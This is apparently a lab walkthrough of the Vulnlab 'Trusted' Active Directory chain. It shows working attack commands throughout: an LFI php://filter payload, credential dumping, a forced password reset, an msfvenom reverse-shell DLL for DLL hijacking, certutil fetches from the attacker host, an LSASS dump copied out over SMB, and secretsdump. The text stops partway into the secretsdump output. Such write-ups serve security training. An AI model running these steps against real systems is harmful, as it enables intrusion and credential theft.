Vulnlab - Trusted Walkthrough

Vulnlab - Trusted Walkthrough

Introduction

I have been spending some time on Vulnlab and have been impressed with the platform and the realism of the machines they have. I completed a handful of the standalone machines, but I wanted to take a crack at a chain and with that, started with Trusted.

Trusted started with discovering a web page that was vulnerable to a local file inclusion vulnerability which was used to get credentials to a MySQL database. From there, we could remotely connect to the database and extract password hashes for a couple of users. The credentials allowed us to authenticate to the domain when we discovered a misconfigured DACL on another domain user that allowed us to force reset their password.

A side comment about DACLs – I look for and abuse DACLs all the time. DACLs are one of those things that are often not as well-checked as group memberships and yet they could be just as dangerous. Learn to read and abuse DACLs – it will only help you! Okay, back on topic...

Authenticated as the new user, we used Evil-WinRM to access the domain controller. We find an opportunity to abuse a DLL hijacking vulnerability to pivot to a domain administrator. Once we had a context as a domain administrator, it was trivial to escalate from the child domain to the parent via an inter-realm ticket.

Okay, let's do this!

Enumeration

Once the lab was running, I was given two IP addresses to start with.

  • 10.10.164.21
  • 10.10.164.22

I started with scanning the top 1000 ports to get a feel for what I was up against since all I had were two IP addresses.

[Feb 04, 2025 - 21:31:51 (EST)] exegol-vl trusted2 # nmap -T4 --top-ports 1000 -Pn -iL targets.txt -oN all_targets_init
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-04 21:32 EST
Nmap scan report for 10.10.164.21
Host is up (0.14s latency).
Not shown: 990 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3389/tcp open  ms-wbt-server

Nmap scan report for 10.10.164.22
Host is up (0.14s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
443/tcp  open  https
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3306/tcp open  mysql
3389/tcp open  ms-wbt-server

Without starting a service scan, let's break these results down first.

  • We are up against two domain controllers. But how did I know that? Both hosts had DNS on port 53, Kerberos on port 88, and LDAP on ports 389 and 636. Seeing DNS and Kerberos running on the same machine is a pretty safe bet that it's a domain controller.
  • Nothing really interesting on 10.10.164.21. I see SMB and RDP running, which could be helpful but these are services I would just expect to be open.
  • Additional open ports on 10.10.164.22. This is assumed to be a domain controller, why is there a web server running? Could it be a web enrollment portal for ADCS? Maybe. Why is MySQL running? Kinda odd if you ask me. Normally only AD DS-related services should be running on a domain controller.

Okay, let's do the service scan to get an idea of what we are working with.

# Nmap 7.93 scan initiated Tue Feb  4 21:38:42 2025 as: nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389,80,3306 -iL targets.txt -oN all_targets_open
Nmap scan report for 10.10.164.21
Host is up (0.15s latency).

PORT     STATE  SERVICE       VERSION
53/tcp   open   domain        Simple DNS Plus
80/tcp   closed http
88/tcp   open   kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-05 02:38:49Z)
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp  open   microsoft-ds?
464/tcp  open   kpasswd5?
593/tcp  open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open   tcpwrapped
3268/tcp open   ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open   tcpwrapped
3306/tcp closed mysql
3389/tcp open   ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=trusteddc.trusted.vl
| Not valid before: 2025-02-04T02:30:40
|_Not valid after:  2025-08-06T02:30:40
|_ssl-date: 2025-02-05T02:39:14+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: TRUSTED
|   NetBIOS_Domain_Name: TRUSTED
|   NetBIOS_Computer_Name: TRUSTEDDC
|   DNS_Domain_Name: trusted.vl
|   DNS_Computer_Name: trusteddc.trusted.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-02-05T02:38:58+00:00
Service Info: Host: TRUSTEDDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-02-05T02:38:59
|_  start_date: N/A

Nmap scan report for 10.10.164.22
Host is up (0.15s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
| http-title: Welcome to XAMPP
|_Requested resource was http://10.10.164.22/dashboard/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-05 02:38:49Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3306/tcp open  mysql         MySQL 5.5.5-10.4.24-MariaDB
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.4.24-MariaDB
|   Thread ID: 9
|   Capabilities flags: 63486
|   Some Capabilities: SupportsTransactions, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, Support41Auth, IgnoreSigpipes, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, FoundRows, DontAllowDatabaseTableColumn, ConnectWithDatabase, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: kkXU!Dr4JWU(c?MH_'CY
|_  Auth Plugin Name: mysql_native_password
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: LAB
|   NetBIOS_Domain_Name: LAB
|   NetBIOS_Computer_Name: LABDC
|   DNS_Domain_Name: lab.trusted.vl
|   DNS_Computer_Name: labdc.lab.trusted.vl
|   DNS_Tree_Name: trusted.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-02-05T02:38:58+00:00
| ssl-cert: Subject: commonName=labdc.lab.trusted.vl
| Not valid before: 2025-02-04T02:30:42
|_Not valid after:  2025-08-06T02:30:42
|_ssl-date: 2025-02-05T02:39:14+00:00; 0s from scanner time.
Service Info: Host: LABDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-02-05T02:39:03
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb  4 21:39:24 2025 -- 2 IP addresses (2 hosts up) scanned in 41.71 seconds

A tangent about domain trusts

Looking over the results, we have a few hostnames and can see there are two domains at play, lab.trusted.vl and trusted.vl. Based on the naming schema, this is a parent-child relationship.

This kind of trust is an implicit bidirectional, transitive trust. The child domain (lab.trusted.vl) will have a bidirectional transitive trust with the parent domain (trusted.vl). Transitivity means that if another child domain was added, such as sales.lab.trusted.vl, the trust would automatically extend through the domain hierarchy. In plain English, if A trusts B and B trusts C, then A trusts C. This is not always the case, but in this type of trust, it is.

This is important to know because if we successfully compromise lab.trusted.vl, we can escalate our privileges from domain administrator to enterprise administrator by abusing SID history. This involves injecting the SID of a high-privileged group in the parent domain (such as Enterprise Admins, RID513), in the SID history of a ticket, we could gain elevated access in the parent domain.

Okay, let's add these new host names to our host file.

File: /etc/hosts

10.10.164.21 trusted.vl trusteddc.trusted.vl trusteddc
10.10.164.22 lab.trusted.vl labdc.lab.trusted.vl labdc

80 - HTTP

XAMPP is running on port 80 with a few links at the top.

I did check for a certification authority web enrollment portal but it did not exist. Always a good check.

One of the links in the header of the XAMPP index was a PHP info file - those are always good to check out if you see one. It did not help in this case though.

Discovering a new web directory

Fuzzing web directories with ffuf returned a new subdirectory, /dev/.

[Feb 04, 2025 - 22:00:35 (EST)] exegol-vl trusted2 # ffuf -c -w `fzf-wordlists` -u "http://labdc/FUZZ" -s
img
dev <---
webalizer
phpmyadmin
dashboard
xampp
licenses
server-status

Navigating to http://labdc/dev loaded a law firm website...oh good, we are breaking into a law firm's infrastructure...

Near the bottom of the page was an interesting note. I mean this makes sense as MySQL is also running on this box. If it is making a connection to the database, surely it might have credentials? We will earmark this.

This note, as odd as it is to have it here, is here for a reason. Let's do some more fuzzing, but this time, for files. We find a file called db.php...interesting.

[Feb 04, 2025 - 22:05:36 (EST)] exegol-vl trusted2 # ffuf -c -w `fzf-wordlists` -u "http://labdc/dev/FUZZ" --fc 403 -s       
index.html
contact.html
.
about.html
db.php

Oh of course can't just read the contents.

Poking around on the law firms page, I noticed each of the links in the header were loaded via the view parameter.

This looks like a potential local file inclusion vulnerability if we can load files outside of the intended paths. Let's try to load that db.php file. We could load it, but it didn't display the contents of the file.

But we did confirm loading files was possible - so not all hope is lost. In cases like this, I try PHP filters to see if I can reveal the contents of the page I am trying to load.

In this case, this is just what I did. I used the following payload to successfully output the contents of the db.php file in base64 encoding.

http://labdc/dev/index.html?view=php://filter/read=convert.base64-encode/resource=db.php

Bingo! Let's convert from base64 to the content a bit easier. I saved the raw base64 string to a new file called db.php.b64 and passed it to base64 to decode. Doing so reveals MySQL credentials being used for the connection test.

[Feb 04, 2025 - 22:14:28 (EST)] exegol-vl trusted2 # cat db.php.b64 | base64 -d
<?php 
$servername = "localhost";
$username = "root";
$password = "Super*******************1337.";

$conn = mysqli_connect($servername, $username, $password);

if (!$conn) {
  die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
?>

3306 - MySQL

Using the credentials found via LFI, I successfully connected to the MySQL database.

[Feb 04, 2025 - 22:18:34 (EST)] exegol-vl trusted2 # mysql -h labdc -u "root" -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 20
Server version: 10.4.24-MariaDB mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 

I listed all the databases and after going through each one, I found news database the most interesting.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| news               |
| performance_schema |
| phpmyadmin         |
| test               |
+--------------------+
6 rows in set (0.134 sec)

MariaDB [(none)]> use news;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Listing the tables in the news database returned table called users. Reviewing the structure of the tables proves we are in the right spot. The table contains user information such as usernames and passwords.

MariaDB [news]> show tables;
+----------------+
| Tables_in_news |
+----------------+
| users          |
+----------------+
1 row in set (0.119 sec)

MariaDB [news]> describe users;
+--------------+-------------+------+-----+---------+-------+
| Field        | Type        | Null | Key | Default | Extra |
+--------------+-------------+------+-----+---------+-------+
| id           | int(1)      | NO   |     | NULL    |       |
| first_name   | varchar(64) | NO   |     | NULL    |       |
| short_handle | varchar(64) | NO   |     | NULL    |       |
| last_name    | varchar(64) | NO   |     | NULL    |       |
| password     | varchar(64) | NO   |     | NULL    |       |
+--------------+-------------+------+-----+---------+-------+
5 rows in set (0.130 sec)

MariaDB [news]>

Dumping the contents of the users table to recover password hashes for three users: rsmith, ewalters, and cpowers.

MariaDB [news]> select  short_handle,password from users;
+--------------+----------------------------------+
| short_handle | password                         |
+--------------+----------------------------------+
| rsmith       | 7e7a************************def7 |
| ewalters     | d6e8************************e0ad |
| cpowers      | e3d3************************5a60 |
+--------------+----------------------------------+
3 rows in set (0.131 sec)

MariaDB [news]>

I copied these hashes to my host machine (I try not to crack passwords in a VM) and Hashcat recovered one of the password hashes to reveal the password for rsmith.

PS D:\Hashcat> .\hashcat.exe -m 0 .\hashes\trusted.vl --show
7e7a************************def7:IH******c2

389 - LDAP (Authenticated)

With a plaintext password for a user, I verified these credentials with NetExec against labdc and the credentials were valid.

[Feb 04, 2025 - 22:30:04 (EST)] exegol-vl trusted2 # nxc smb labdc -u rsmith -p IH******c2

SMB 10.10.164.22 445 LABDC [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB 10.10.164.22 445 LABDC [+] lab.trusted.vl\rsmith:IH******c2

Enumerating the users in the lab.trusted.vl domain using NetExec and the users in the database map to users in the domain. This will prove helpful later on.

[Feb 04, 2025 - 22:37:25 (EST)] exegol-vl trusted2 # nxc ldap labdc -u rsmith -p IH******c2 --users          
SMB         10.10.164.22    445    LABDC            [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
LDAP        10.10.164.22    389    LABDC            [+] lab.trusted.vl\rsmith:IH******c2 
LDAP        10.10.164.22    389    LABDC            [*] Enumerated 6 domain users: lab.trusted.vl
LDAP        10.10.164.22    389    LABDC            -Username-                    -Last PW Set-       -BadPW- -Description-                                               
LDAP        10.10.164.22    389    LABDC            Administrator                 2022-09-14 15:07:20 0       Built-in account for administering the computer/domain      
LDAP        10.10.164.22    389    LABDC            Guest                         <never>             0       Built-in account for guest access to the computer/domain    
LDAP        10.10.164.22    389    LABDC            krbtgt                        2022-09-14 18:43:59 0       Key Distribution Center Service Account                     
LDAP        10.10.164.22    389    LABDC            rsmith                        2022-09-14 18:56:07 0                                                                   
LDAP        10.10.164.22    389    LABDC            ewalters                      2022-09-18 21:01:41 1                                                                   
LDAP        10.10.164.22    389    LABDC            cpowers                       2022-09-14 18:57:50 0

With the credentials, I enumerated the membership of a few interesting groups such as Domain Admins, Remote Management Users, and Remote Desktop Users.

  • cpowers is a domain administrator which if we can find a way to this user, we compromise the child domain and are one step closer to enterprise administrator.
  • ewalters is a member of the remote management users which means we can access labdc via Evil-WinRM if we can get to this user.
[Feb 04, 2025 - 22:46:43 (EST)] exegol-vl trusted2 # nxc smb labdc -u rsmith -p IH******c2 --groups "Domain Admins"
SMB         10.10.164.22    445    LABDC            [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB         10.10.164.22    445    LABDC            [+] lab.trusted.vl\rsmith:IH******c2 
SMB         10.10.164.22    445    LABDC            [+] Enumerated members of domain group
SMB         10.10.164.22    445    LABDC            lab.trusted.vl\cpowers
SMB         10.10.164.22    445    LABDC            lab.trusted.vl\Administrator

[Feb 04, 2025 - 22:47:18 (EST)] exegol-vl trusted2 # nxc smb labdc -u rsmith -p IH******c2 --groups "Remote Management Users"
SMB         10.10.164.22    445    LABDC            [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB         10.10.164.22    445    LABDC            [+] lab.trusted.vl\rsmith:IH******c2 
SMB         10.10.164.22    445    LABDC            [+] Enumerated members of domain group
SMB         10.10.164.22    445    LABDC            lab.trusted.vl\ewalters

[Feb 04, 2025 - 22:50:52 (EST)] exegol-vl trusted2 # nxc smb labdc -u rsmith -p IH******c2 --groups "Remote Desktop Users"    
SMB         10.10.164.22    445    LABDC            [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
SMB         10.10.164.22    445    LABDC            [+] lab.trusted.vl\rsmith:IH******c2 
SMB         10.10.164.22    445    LABDC            [+] Enumerated members of domain group
SMB         10.10.164.22    445    LABDC            lab.trusted.vl\ewalters

Reviewing the DACL on ewalters reveals rsmith has an ACE to force reset ewalters password. This means we do not need to know the current password; we can just reset it to something we know and then authenticate as them.

[Feb 04, 2025 - 22:55:17 (EST)] exegol-vl trusted2 # nxc ldap labdc -u rsmith -p IH******c2 -M daclread -o TARGET=ewalters
SMB         10.10.164.22    445    LABDC            [*] Windows Server 2022 Build 20348 x64 (name:LABDC) (domain:lab.trusted.vl) (signing:True) (SMBv1:False)
LDAP        10.10.164.22    389    LABDC            [+] lab.trusted.vl\rsmith:IH******c2 
DACLREAD    10.10.164.22    389    LABDC            Be careful, this module cannot read the DACLS recursively.
DACLREAD    10.10.164.22    389    LABDC            Target principal found in LDAP (CN=Eric Walters,OU=Maintenance,OU=lab,DC=lab,DC=trusted,DC=vl)
DACLREAD    10.10.164.22    389    LABDC            ACE[0] info                
DACLREAD    10.10.164.22    389    LABDC                ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD    10.10.164.22    389    LABDC                ACE flags                 : None
DACLREAD    10.10.164.22    389    LABDC                Access mask               : ReadProperty
DACLREAD    10.10.164.22    389    LABDC                Flags                     : ACE_OBJECT_TYPE_PRESENT
DACLREAD    10.10.164.22    389    LABDC                Object type (GUID)        : User-Account-Restrictions (4c164200-20c0-11d0-a768-00aa006e0529)
DACLREAD    10.10.164.22    389    LABDC                Trustee (SID)             : RAS and IAS Servers (S-1-5-21-2241985869-2159962460-1278545866-553)
<snip>
DACLREAD    10.10.164.22    389    LABDC            ACE[24] info                
DACLREAD    10.10.164.22    389    LABDC                ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD    10.10.164.22    389    LABDC                ACE flags                 : CONTAINER_INHERIT_ACE, INHERITED_ACE
DACLREAD    10.10.164.22    389    LABDC                Access mask               : ControlAccess
DACLREAD    10.10.164.22    389    LABDC                Flags                     : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
DACLREAD    10.10.164.22    389    LABDC                Object type (GUID)        : User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529)
DACLREAD    10.10.164.22    389    LABDC                Inherited type (GUID)     : User (bf967aba-0de6-11d0-a285-00aa003049e2)
DACLREAD    10.10.164.22    389    LABDC                Trustee (SID)             : rsmith (S-1-5-21-2241985869-2159962460-1278545866-1104)

I tried to use Bloodhound with this machine, but I kept running into issues with DNS resolution between the included BloodHound ingestor in NetExec and bloodhound-python. Even with DNSChef, I kept getting resolution errors as the SRV record to find global catalog servers kept failing. The SRV records for DC and PDC resolved just fine.

Resetting ewalters Password

As we know rsmith can force reset the password for ewalters, I changed the password with net rpc to something different.

[Feb 04, 2025 - 23:02:59 (EST)] exegol-vl trusted2 # net rpc password ewalters 'SecurePassword123!' -U lab.trusted.vl/rsmith\%IH******c2 -S labdc       
[Feb 04, 2025 - 23:03:06 (EST)] exegol-vl trusted2 # 

Now we can log in to the server as ewalters via Evil-Winrm with the new credentials.

[Feb 04, 2025 - 23:03:39 (EST)] exegol-vl trusted2 # evil-winrm -u ewalters -p 'SecurePassword123!' -i labdc                                
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ewalters\Documents>

Oh someone has jokes...

*Evil-WinRM* PS C:\Users\ewalters\Desktop> type "C:/Users/ewalters/Desktop/User.txt"
|\---/|
| o_o |
 \_^_/
These are not the flags you're looking for.
Take :robitcat: as compensation :).

*Evil-WinRM* PS C:\Users\ewalters\Desktop> 

With the pain of not getting a flag right away, I turned to enumerating the host. After some time poking around, something stuck out on the root of the C drive. It stuck out as AVTest is not something I would expect to see on C root.

There is a note that alludes to this application being run often by Christine to try and clean up the AV installations.

*Evil-WinRM* PS C:\AVTest> dir


    Directory: C:\AVTest


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/14/2022   4:46 PM        4870584 KasperskyRemovalTool.exe
-a----         9/14/2022   7:05 PM            235 readme.txt


*Evil-WinRM* PS C:\AVTest> more "C:/AVTest/readme.txt"
Since none of the AV Tools we tried here in the lab satisfied our needs it's time to clean them up.
I asked Christine to run them a few times, just to be sure.

Let's just hope we don't have to set this lab up again because of this.

*Evil-WinRM* PS C:\AVTest>

Debugging Kaspersky Tool

I downloaded KasperskyRemovalTool.exe to my Windows 11 development VM and used Process Monitor to monitor what the application does while running.

I noticed several DLLs trying to load but the application could not locate them. This could allow us to create our own DLL file and if we have permission to put it in a directory the application is trying to load them from, we can trick the application to load our DLL file rather than the legitimate one.

Before we get too excited, we need to know the logic used to load DLLs and where they are loaded from. There is a pecking order Windows will use when trying to locate a DLL.

  1. The directory where the application was run from
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. Current working directory
  6. Directories listed in the PATH environment variable

This means if we have permission to write on one of these paths we could potentially place our own DLL file which would be loaded by the application.

Configuring ProcMon Filters

I set some process filters to make finding possible abuse vectors a little easier.

  • Filtering the process name to show just activity from KasperskyRemovalTool.exe
  • Result where the value is NAME NOT FOUND. This means a DLL was attempted to load from this path but could not be found.
  • The path ends in .dll. This just filters the actions to those that end in a DLL file.

Running the Kaspersky removal tool with these filters found several DLL files that failed to load. Most of the DLL files trying to load were from the directory where the application was originally loaded, which is the first directory in the search order list.

Checking Permissions on C:\AVTest

As we have proved the Kaspersky removal tool is attempting to load several DLL files in the directory it was run from, we can check the permissions on C:\AVTest on the machine to see if we have permission to write there.

Listing the ACL with icacls shows Everyone has full control and even if that ACE did not exist, BUILTIN\Users has write data permissions.

*Evil-WinRM* PS C:\AVTest> icacls .
  Everyone:(OI)(CI)(F)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(F)
  BUILTIN\Users:(I)(OI)(CI)(RX)
  BUILTIN\Users:(I)(CI)(AD)
  BUILTIN\Users:(I)(CI)(WD)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

So now all we need to do is create a DLL file matching one of the ones the application was trying to load and if we put it in C:\AVTest, we could get a reverse shell or execute arbitrary commands. This is helpful because the README file hinted at Christine running this application. If this is cpowers, that means a domain administrator is executing it.

Generating Malicious DLL

To get a reverse shell as cpowers, I generated a DLL file with msfvenom and saved it with the correct name to ensure it would be executed by the Kaspersky removal tool.

[Feb 04, 2025 - 23:40:06 (EST)] exegol-vl trusted2 # msfvenom -p windows/shell_reverse_tcp LHOST=10.8.4.11 LPORT=8443 -f dll > KasperskyRemovalToolENU.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 9216 bytes

I attempted to upload the DLL via Evil-WinRM but it kept failing as constrained language mode (CLM) was enforced and some of the functions Evil-WinRM is trying to use were blocked.

Side Tangent on CLM Policies

I enumerated the app locker policies to see if there was an approved directory where I could run PowerShell scripts but the directories in the policy required elevated privileges to write to so nothing too useful here to get around CLM. I did try the whole System32 in the file path bypass but it did not have an effect.

*Evil-WinRM* PS C:\Windows> (Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections)

PathConditions      : {\%WINDIR\%\Installer\*}
PathExceptions      : {}
PublisherExceptions : {}
HashExceptions      : {}
Id                  : 5b290184-345a-4453-b184-45305f6d9a54
Name                : (Default Rule) All Windows Installer files in \%systemdrive\%\Windows\Installer
Description         : Allows members of the Everyone group to run all Windows Installer files located in \%systemdrive\%\Windows\Installer.
UserOrGroupSid      : S-1-1-0
Action              : Allow

PathConditions      : {\%PROGRAMFILES\%\*}
PathExceptions      : {}
PublisherExceptions : {}
HashExceptions      : {}
Id                  : 06dce67b-934c-454f-a263-2515c8796a5d
Name                : (Default Rule) All scripts located in the Program\ Files folder
Description         : Allows members of the Everyone group to run scripts that are located in the Program\ Files folder.
UserOrGroupSid      : S-1-1-0
Action              : Allow

PathConditions      : {\%WINDIR\%\*}
PathExceptions      : {}
PublisherExceptions : {}
HashExceptions      : {}
Id                  : 9428c672-5fc3-47f4-808a-a0011f36dd2c
Name                : (Default Rule) All scripts located in the Windows folder
Description         : Allows members of the Everyone group to run scripts that are located in the Windows folder.
UserOrGroupSid      : S-1-1-0
Action              : Allow

So I just downloaded the DLL file with certutil instead.

*Evil-WinRM* PS C:\AVTest> certutil -urlcache -f http://10.8.4.11:8000/KasperskyRemovalToolENU.dll KasperskyRemovalToolENU.dll
****  Online  ****
CertUtil: -URLCache command completed successfully.

After waiting for a few seconds, I got a hit on my listener and was running in the context of cpowers.

[Feb 04, 2025 - 23:41:00 (EST)] exegol-vl trusted2 # nl 8443                                                                                    
[+] Network interfaces...
ens33: 192.168.61.162
docker0: 172.17.0.1
tun0: 10.8.4.11

[+] Starting netcat listener...
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443
Ncat: Connection from 10.10.164.22.
Ncat: Connection from 10.10.164.22:55474.
Microsoft Windows [Version 10.0.20348.887]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>set u
USERDNSDOMAIN=LAB.TRUSTED.VL
USERDOMAIN=LAB
USERNAME=cpowers
USERPROFILE=C:\Users\cpowers

Ahh, there is our first flag!

C:\Users\Administrator\Desktop>type User.txt
type User.txt
VL{349e***********************5802}
C:\Users\Administrator\Desktop>

LSASS Exfiltration

So, when I went through this machine for the first time, this is where I spent the majority of my time trying various things. Sure, I could have created a new domain user and then added that user to Domain Admins to authenticate to Evil-WinRM but I wanted to try something else.

I tried Diskshadow and Ntdsutil.exe in an attempt to dump ntds.dit but neither of the methods worked. I am not sure if it was a Layer 8 issue or not. From there, I turned to dumping LSASS via rdrleakdiag.exe and Comsvcs.dll but while the shell file was created, the process was never dumped. Again, might have been a Layer 8 issue.

I finally turned to downloading ProcDump to dump LSASS via the reverse shell as cpowers. While ProcDump is a signed executable, the TTP itself could and probably would trigger alerts or active defenses.

C:\Temp>certutil -urlcache -f http://10.8.4.11:8000/procdump.exe procdump.exe
certutil -urlcache -f http://10.8.4.11:8000/procdump.exe procdump.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

Running ProcDump to dump the LSASS process memory and saved the dump file locally.

C:\Temp>procdump.exe -accepteula -ma lsass.exe lsass.bin
procdump.exe -accepteula -ma lsass.exe lsass.bin

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[05:06:45] Dump 1 initiated: C:\Temp\lsass.bin.dmp
[05:06:46] Dump 1 writing: Estimated dump file size is 140 MB.
[05:06:48] Dump 1 complete: 140 MB written in 3.1 seconds
[05:06:48] Dump count reached.

I tried to download this file via the Evil-WinRM session as ewalters, but for the life of me, I could not get the download function to work. Again, and this is a trend, it could have been something I was doing wrong. No matter what I did, including using absolute paths for the source and destination, I could not get it to work.

As a workaround, I started an SMB server with smbserver.py and configured a username and password to ensure the Windows host could connect.

[Feb 05, 2025 - 00:12:31 (EST)] exegol-vl trusted2 # smbserver.py -smb2support SHARE . -username TestUser -password TestPassword
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

With the SMB server running, I mapped it as the Z drive while including the username and password used in the smbserver.py command.

*Evil-WinRM* PS C:\Temp> net use Z: \\10.8.4.11\SHARE /user:TestUser TestPassword
The command completed successfully.

*Evil-WinRM* PS C:\Temp> 

Copying the LSASS dump file to the Z drive so I can access it on my local attacking machine.

*Evil-WinRM* PS C:\Temp> copy "C:/Temp/lsass.bin.dmp" Z:
*Evil-WinRM* PS C:\Temp> 

Once on my attacking machine, I read the dump file with pypykatz.

[Feb 05, 2025 - 00:15:57 (EST)] exegol-vl trusted2 # pypykatz lsa minidump lsass.bin.dmp                                                                                                                                                    
INFO:pypykatz:Parsing file lsass.bin.dmp                                                                                                                                                                                                    
FILE: ======== lsass.bin.dmp =======                                                                                                                                                                                                        
== LogonSession ==                                                                                                                                                                                                                          
authentication_id 5567195 (54f2db)                                                                                                                                                                                                          
session_id 0                                                                                                                                                                                                                                
username ewalters                                                                                                                                                                                                                           
domainname LAB                                                                                                                                                                                                                              
logon_server LABDC                                                                                                                                                                                                                          
logon_time 2025-02-05T04:54:42.307349+00:00                                                                                                                                                                                                 
sid S-1-5-21-2241985869-2159962460-1278545866-1106                                                                                                                                                                                          
luid 5567195

In the dump output was the NTLM hash for cpowers which could then be used for any future pass-the-hash attacks.

== LogonSession ==
authentication_id 5850865 (5946f1)
session_id 0
username cpowers
domainname LAB
logon_server LABDC
logon_time 2025-02-05T05:06:01.469532+00:00
sid S-1-5-21-2241985869-2159962460-1278545866-1107
luid 5850865
        == MSV ==
                Username: cpowers
                Domain: LAB
                LM: NA
                NT: 322d************************3c43
                SHA1: e845********************************e373
                DPAPI: 0164********************************0000
        == WDIGEST [5946f1]==
                username cpowers
                domainname LAB
                password None
                password (hex)

As cpowers was a domain administrator in lab.trusted.vl, the NTLM hash could be used with secretsdump to pull down everyone's hashes from the domain controller. Admittedly this wasn't too useful as I already had the password for rsmith, could reset the password for ewalters, and had the NTLM already for cpowers but I did it anyway. If anything, I got the hash for the built-in administrator account.

[Feb 05, 2025 - 00:20:18 (EST)] exegol-vl trusted2 # secretsdump -hashes :322d************************3c43 lab/cpowers@labdc.lab.trusted.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
